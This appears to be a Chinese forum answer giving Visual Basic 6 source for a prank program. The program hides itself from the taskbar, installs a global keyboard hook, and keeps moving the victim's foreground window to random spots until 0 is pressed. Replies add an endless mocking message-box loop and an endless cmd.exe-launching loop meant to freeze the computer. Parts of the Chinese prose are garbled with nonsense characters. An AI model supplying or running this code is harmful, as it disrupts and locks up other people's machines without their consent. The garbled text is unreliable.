加一个timer控件
这是模块里代码
'Option
Explicit
Public
hHook
As
Long
Declare
Function
UnhookWindowsHookEx
Lib
"user32"
(ByVal
hHook
As
Long)
As
Long
Declare
Sub
ExitProcess
Lib
"kernel32"
(ByVal
uExitCode
As
Long)
Declare
Function
SetWindowsHookEx
Lib
"user32"
Alias
"SetWindowsHookExA"
(ByVal
idHook
As
Long,
ByVal
lpfn
As
Long,
ByVal
hmod
As
Long,
ByVal
dwThreadId
As
Long)
As
Long
Declare
Function
CallNextHookEx
Lib
"user32"
(ByVal
hHook
As
Long,
ByVal
ncode
As
Long,
ByVal
wParam
As
Long,
lParam
As
Long)
As
Long
Public
Declare
Sub
CopyMemory
Lib
"kernel32"
Alias
"RtlMoveMemory"
(Destination
As
Any,
Source
As
Any,
ByVal
Length
As
Long)
Public
a
As
Long
Public
Type
EVENTMSG
vKey
As
Long
sKey
As
Long
flag
As
Long
time
As
Long
End
Type
Public
mymsg
As
EVENTMSG
Public
Const
WH_KEYBOARD_LL
=
13
Public
Const
WM_KEYDOWN
=
&H100
Public
Function
MyKBHook(ByVal
ncode
As
Long,
ByVal
wParam
As
Long,
ByVal
lParam
As
Long)
As
Long
If
ncode
=
0
Then
If
wParam
=
WM_KEYDOWN
Then
CopyMemory
mymsg,
ByVal
lParam,
Len(mymsg)
If
mymsg.vKey
=
48
Then
ExitProcess
0
End
If
End
If
End
If
MyKBHook
=
CallNextHookEx(hHook,
ncode,
wParam,
lParam)
End
Function
这是窗体代码
'Option
Explicit
Private
Declare
Function
SetWindowPos
Lib
"user32"
(ByVal
hwnd
As
Long,
ByVal
hWndInsertAfter
As
Long,
ByVal
x
As
Long,
ByVal
y
As
Long,
ByVal
cx
As
Long,
ByVal
cy
As
Long,
ByVal
wFlags
As
Long)
As
Long
Private
Declare
Function
GetForegroundWindow
Lib
"user32"
()
As
Long
Private
Const
SWP_NOSIZE
=
&H1
Dim
q,
w
Private
Sub
Form_Load()
Timer1.Enabled
=
True
Timer1.Interval
=
100
Me.Hide
App.TaskVisible
=
False
hHook
=
SetWindowsHookEx(WH_KEYBOARD_LL,
AddressOf
MyKBHook,
App.hInstance,
0)
If
hHook
=
0
Then
End
End
Sub
Private
Sub
Timer1_Timer()
q
=
Rnd
*
500
w
=
Rnd
*
500
SetWindowPos
GetForegroundWindow,
-1,
q,
w,
0,
0,
SWP_NOSIZE
End
Sub
这个程序按0可退出
Do
MsgBox "哈哈...你被我耍..."
Loop
貌似以前做过一个程序,已启动就一直卜哪打开其他程序型如码,呵呵 然后就死机了......不过这个比较邪恶,还是算了吧橡丛
Do
shell "cmd.exe"
loop
直接将其电脑卡到死机 YE
Private Sub Timer1_Timer()
MsgBox ("呵呵~~~")
End Sub
其粗返中TIMER1的山凳拿interval为10效果最好逗搭~~~